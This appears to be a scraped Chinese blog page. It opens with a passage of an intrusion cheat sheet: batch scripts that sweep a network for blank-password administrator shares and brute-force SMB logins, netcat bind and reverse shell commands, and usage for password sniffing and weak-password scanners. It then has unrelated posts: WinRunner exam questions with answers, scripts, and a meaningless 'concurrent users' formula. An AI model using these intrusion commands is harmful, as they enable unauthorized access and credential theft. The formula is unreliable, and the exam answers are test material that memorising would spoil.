    delete from 表名; 将表中记录清空
    select * from 表名; 显示表中的记录
    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
    win2003系统下新增命令(实用部份):
    shutdown /参数 关闭或重启本地或远程主机。
    参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
    例:shutdown /r /t 0 立即重启本地主机(无延时)
    taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
    参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
    参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

    #6 六:

    Linux系统下基本命令: 要区分大小写
    uname 显示版本信息(同win2K的 ver)
    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
    pwd 查询当前所在的目录位置
    cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
    cat 文件名 查看文件内容
    cat >abc.txt 往abc.txt文件中写上内容。
    more 文件名 以一页一页的方式显示一个文本文件。
    cp 复制文件
    mv 移动文件
    rm 文件名 删除文件,rm -a 目录名删除目录及子目录
    mkdir 目录名 建立目录
    rmdir 删除子目录,目录内没有文档。
    chmod 设定档案或目录的存取权限
    grep 在档案中查找字符串
    diff 档案文件比较
    find 档案搜寻
    date 现在的日期、时间
    who 查询目前和你使用同一台机器的人以及Login时间地点
    w 查询目前上机者的详细资料
    whoami 查看自己的帐号名称
    groups 查看某人的Group
    passwd 更改密码
    history 查看自己下过的命令
    ps 显示进程状态
    kill 停止某进程
    gcc 黑客通常用它来编译C语言写的文件
    su 权限转换为指定使用者
    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
    ftp ftp连接上某服务器(同win2K)

    附:批处理命令与变量

    1:for命令及变量 基本格式:
    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

    (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
    command_parameters:为特定命令指定参数或命令行开关

    IN (set):指在(set)中取值;DO command :指执行command

    参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
    用法举例:
    @echo off
    echo 用法格式:test.bat *.*.* > test.txt

    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

    /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
    @echo off
    echo 用法格式:ok.bat ip
    FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
    存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

    #7 七:

    2:if命令及变量 基本格式:
    IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
    例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
    0 指发现并成功执行(真);1 指没有发现、没执行(假)。
    IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
    例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
    IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
    例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
    IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

    (二)系统外部命令(均需下载相关工具):

    1、瑞士军刀:nc.exe

    参数说明:
    -h 查看帮助信息
    -d 后台模式
    -e prog程序重定向,一但连接就执行〔危险〕
    -i secs延时的间隔
    -l 监听模式,用于入站连接
    -L 监听模式,连接天闭后仍然继续监听,直到CTR+C
    -n IP地址,不能用域名
    -o film记录16进制的传输
    -p[空格]端口 本地端口号
    -r 随机本地及远程端口
    -t 使用Telnet交互方式
    -u UDP模式
    -v 详细输出,用-vv将更详细
    -w数字 timeout延时间隔
    -z 将输入,输出关掉(用于扫锚时)
    基本用法:
    nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
    nc -l -p 80 开启本机的TCP 80端口并监听
    nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
    nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
    高级用法:
    nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
    nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
    nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    本机上用:nc -l -p 本机端口
    在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
    nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
    本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
    在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
    备 注:
    | 管道命令
    < 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
    @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
    >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
    如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

    #8 八:

    2、扫锚工具:xscan.exe

    基本格式
    xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
    xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
    检测项目
    -active 检测主机是否存活
    -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
    -port 检测常用服务的端口状态
    -ftp 检测FTP弱口令
    -pub 检测FTP服务匿名用户写权限
    -pop3 检测POP3-Server弱口令
    -smtp 检测SMTP-Server漏洞
    -sql 检测SQL-Server弱口令
    -smb 检测NT-Server弱口令
    -iis 检测IIS编码/解码漏洞
    -cgi 检测CGI漏洞
    -nasl 加载Nessus攻击脚本
    -all 检测以上所有项目
    其它选项
    -i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
    -l 显示所有网络适配器
    -v 显示详细扫描进度
    -p 跳过没有响应的主机
    -o 跳过没有检测到开放端口的主机
    -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
    -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
    用法示例
    xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
    xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
    xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

    #9 九:

    3、命令行方式嗅探器: xsniff.exe
    可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
    参数说明
    -tcp 输出TCP数据报
    -udp 输出UDP数据报
    -icmp 输出ICMP数据报
    -pass 过滤密码信息
    -hide 后台运行
    -host 解析主机名
    -addr IP地址 过滤IP地址
    -port 端口 过滤端口
    -log 文件名 将输出保存到文件
    -asc 以ASCII形式输出
    -hex 以16进制形式输出
    用法示例
    xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
    xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

    4、终端服务密码破解: tscrack.exe

    参数说明
    -h 显示使用帮助
    -v 显示版本信息
    -s 在屏幕上打出解密能力
    -b 密码错误时发出的声音
    -t 同
  • HP WinRunner 工具认证SP/CPC考试题目( HP0-M12 )(zt)

    2008-10-16 22:37:08

    How do you specify a 15-second timeout in the global timeout settings?

    A. 15
    B. 150
    C. 1500
    D. 15000

    Answer: D
    You are testing a banking application. At 8 AM an employee logs in successfully and it takes about 5 seconds for the main menu window to appear.

    At 9 AM it takes approximately 15 seconds for the main menu window to appear after login. If you were to incorporate this time difference in a scrīpt, which WinRunner feature would you use so that the scrīpt runs successfully despite the difference in time for the main menu window to appear?

    A. Verify
    B. Data drive
    C. Synchronize
    D. Parameterize

    Answer: C
    Which synchronization statement is automatically generated during recording?

    A. win_activate("Flight Reservation");
    B. set_window ("Flight Reservation 10");
    C. obj_wait_bitmap("Flights","Img2",6,7,8,101,114);
    D. obj_wait_info("Insert Done...","label","Insert Done...",10);

    Answer: B
    The process for building a functional WinRunner scrīpt goes through four steps. What are these steps? (Select four.)

    A. plan the test
    B. synchronize
    C. record steps
    D. parameterize
    E. add verification
    F. analyze results
    G. execute the test

    Answer: B, C, E, G
    A test scrīpt contains both Context Sensitive and Analog recording. The scrīpt keeps failing on the window where the Analog recording is played back. Which function can you include in your scrīpt to ensure that windows and objects are in the same locations as when the test was recorded?

    A. win_move function
    B. GUI_load function
    C. invoke_app function
    D. set_window function

    Answer: A
    In which file does WinRunner store user actions on the application under test captured during recording?

    A. lock
    B. scrīpt
    C. chklist
    D. debug

    Answer: B
    During recording, WinRunner "listens" to the actions a user performs on the application (and to the response from the server) and creates a log of these steps. Which language does WinRunner use to create these steps in a scrīpt?

    A. C Language
    B. VBscrīpt Language
    C. Test scrīpt Language
    D. Virtual User Language

    Answer: C
    What is the default recording mode that WinRunner uses?

    A. Analog
    B. Low-level
    C. Standard / Default
    D. Context Sensitive

    Answer: D
    In a test, you have to record both in Context Sensitive and Analog modes. Which method should you use to switch recording from Analog back to Context Sensitive without capturing the mouse
    movements in the test scrīpt?

    A. Toolbar
    B. Softkey
    C. Menu command
    D. Right click (popup menu)

    Answer: B
    What does the function move_locator_track( ) represent?

    A. a mouse over
    B. a mouse click
    C. a keyboard entry
    D. a function key press

    Answer: A
    The test lead wants a copy of the WinRunner scrīpt you created. To provide him with a workable copy, which file or files do you need to supply? Assume that the name of the test is Test1A under which the following files and folders are included: lock, scrīpt, chklist, db, debug, exp, res1.

    A. scrīpt.zip
    B. Test1A.zip
    C. scrīpt, db, exp, res1 in a zip file
    D. Lock, scrīpt, chklist, and db in a zip file

    Answer: B
    What is referred to as a WinRunner scrīpt that is used to initialize the working environment, including UI_load( ) and GUI_close_all( ) statements before test scrīpts are run?

    A. Loader scrīpt
    B. Startup scrīpt
    C. Function Library
    D. Function Generator

    Answer: B
    Upon invoking WinRunner, which feature lists the types of applications you can test?

    A. Add-In Manager
    B. RapidTest Wizard
    C. DataTable Wizard
    D. Recovery Scenario

    Answer: A
    A test run fails because of an unrecognized object. You want to compare the actual object properties to the properties stored in the GUI Map file. Which WinRunner feature compares the
    actual object properties versus the properties in the GUI Map and provides a possible reason for the error?

    A. GUI Spy
    B. Data Driver Wizard
    C. Run Wizard
    D. Virtual Object Wizard
    E. RapidTest scrīpt Wizard

    Answer: C
    How does WinRunner set up the GUI Map file for a new test?

    A. WinRunner automatically executes a GUI_load statement.
    B. WinRunner automatically loads the last opened GUI Map file.
    C. WinRunner automatically creates a new GUI Map file for the test.
    D. WinRunner automatically loads a shared GUI Map file it recognizes.

    Answer: C
    If you want to save your recovery function, where is the best location to save the recovery for every test in your project?

    A. Paste the recovery function in each test.
    B. Add the recovery function in the startup scrīpt.
    C. Add the recovery function in the function generator.
    D. The recovery manager saves its own recovery function.

    Answer: B
    Which main components must be present in a simple and compound recovery scenario? (Select two.)

    A. an event
    B. an exit function
    C. unknown object
    D. recovery operation
    E. post-recovery operation

    Answer: A, D
    A scrīpt contains the function GUI_load and a GUI Map file is loaded in the memory. During the recording of a new scrīpt, one of the GUI Map object's properties has changed. What does
    WinRunner do in order to successfully playback the scrīpt?

    A. WinRunner adds the new object to the loaded GUI Map file.
    B. WinRunner will stop because it does not recognize the object.
    C. WinRunner adds the new object to the temporary GUI Map file.
    D. Nothing. You will have to add the new object to the GUI Map file.

    Answer: C
    You are asked to create a GUI Map file that contains all the objects in the application under test.
    What is the best and fastest way to meet this requirement?

    A. Use the Run Wizard.
    B. Use the RapidTest scrīpt Wizard.
    C. Use the Learn feature from the GUI Map Editor.
    D. Consolidate all GUI Map files into a shared GUI Map file.

    Answer: B
    Select the correct statement about recovery scenarios.

    A. A recovery scenario is manually activated prior to the test run.
    B. A recovery scenario works in conjunction with exception handlers in the test scrīpt.
    C. A recovery scenario can be automatically activated each time WinRunner is launched.
    D. A recovery scenario requires an event, recovery operation and post-recovery operation.

    Answer: C
  • hp winrunner 百问 三

    2008-10-16 22:29:04

    winRunner api 调用,例子中实现如何获得功能执行时间

    load_dll ("C:\\WINNT\\SYSTEM32\\kernel32.dll");
    extern int GetTickCount();
    <code code code>
    start=GetTickCount();
    <transaction to be timed code goes here>
    end=GetTickCount();
    # Note posting to a file
    post_tick_count_time_lapse(start,end,"Transaction Title","C:\\temp.txt");

    #-----------------------------------------------------------------------------------------------------------------
    # FUNCTION CODE BELOW
    public function post_tick_count_time_lapse (in starttime, in endtime, in transtitle, in filename)
    {
    # Declare variables
    auto timelapse;
    # Validate parameters
    if (nargs() != 3 && nargs() != 4)
    {
    tl_step ("get_tick_count_time_lapse", FAIL, "Only 3 or 4 parameters are allowed.");
    return(E_ILLEGAL_NUM_OF_PARAMS);
    }
    # Determine how long the transaction took and round
    timelapse = int((endtime - starttime) + .5)/1000;
    # Post timelapse
    if (nargs() == 3) # Was no ouput file specified
    report_msg (transtitle & " : " & timelapse & " seconds"); # Send output to the test results
    else   # There was an ouput file specified
    {
    print (transtitle & " : " & timelapse & " seconds |" & get_time()) >> filename; # Append output to specified file
    # Note "|" is a file delimiter above
    close(filename);
    }
    return(E_OK);


  • shell脚本实现自动启动mysql服务

    2008-10-12 00:25:33

    mysql 停止启动命令如下:

    # 启动 MySQL Server
    root@localhost root]#  service mysql start
    # 停止 MySQL Server
    root@localhost root]#  service mysql stop
    #停止mysql的另类方法
    root@localhost root]#  pkill mysql
    #重新启动 MySQL Server
    root@localhost root]#  service mysql restart

    根据以上命令实现shell mysql 监控脚本(以下脚本在RH9.0上调试通过)

    #!/bin/bash
    # ------------------------------------------------------------------------
    # Mysql Process Monitor
    # Restart MySql Server When It Goes Down
    # -------------------------------------------------------------------------
    # Copyright (c) 2008 http://www.51testing.com
    # -------------------------------------------------------------------------

    #Mysql start command
    restart_mysql="service mysql start"

    pgrep="/usr/bin/pgrep"

    # mysql daemon name,
    mysql_service="mysqld"


    # find mysql pid
    $pgrep ${mysql_service}


    #if mysql is not runnint
    if [ $? -ne 0 ];then

     # restart apache
     $restart_mysql

    fi


     

  • 性能测试提到的网站并发用户公式

    2008-10-10 20:40:32

     

    Request Per Second + Simultaneous Browser connections + Thinking Time = Concurrent User 


    Concurrent User  表示网站并发用户数

    Request Per Second [RPS] 表示每秒请求数(吞吐量)

    Simultaneous Browser connections [SBC] 表示并发连接数

    Thinking Time  表示平均用户思考时间
1663/9<123456789>
Open Toolbar